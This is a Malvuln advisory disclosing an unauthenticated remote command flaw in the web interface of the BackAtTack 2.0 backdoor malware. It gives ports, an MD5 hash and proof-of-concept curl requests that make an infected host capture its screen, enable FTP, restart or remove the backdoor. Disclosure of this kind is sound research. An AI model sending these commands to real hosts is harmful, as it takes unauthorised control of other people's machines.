Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BackAttack.20
Vulnerability: Unauthenticated Remote Command Execution
Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can control an infected host. Third party-attackers who can reach the system can run commands made available by the malware E.g. take screenshot, restart the system, enable FTP or even destroy the backdoor etc. The web UI does not require authentication to execute these commands.
Type: PE32
MD5: 8b484576f928c256277016104cc364c2
Vuln ID: MVID-2021-0423
Disclosure: 12/11/2021

Exploit/PoC:
Show Skeleton
http://x.x.x.x/showskeleton

Show Sex
http://x.x.x.x/showsex

Whos logged on
curl http://x.x.x.x/whoisthere 

Screen capture
curl http://x.x.x.x/capturescreen

Enable FTP
curl http://x.x.x.x/ftpon 

Restart host
curl http://x.x.x.x/restart 

Destroy the backdoor
curl http://x.x.x.x/destroyyes -v

Destroy action has been executed! -Restart procedure initiated also-

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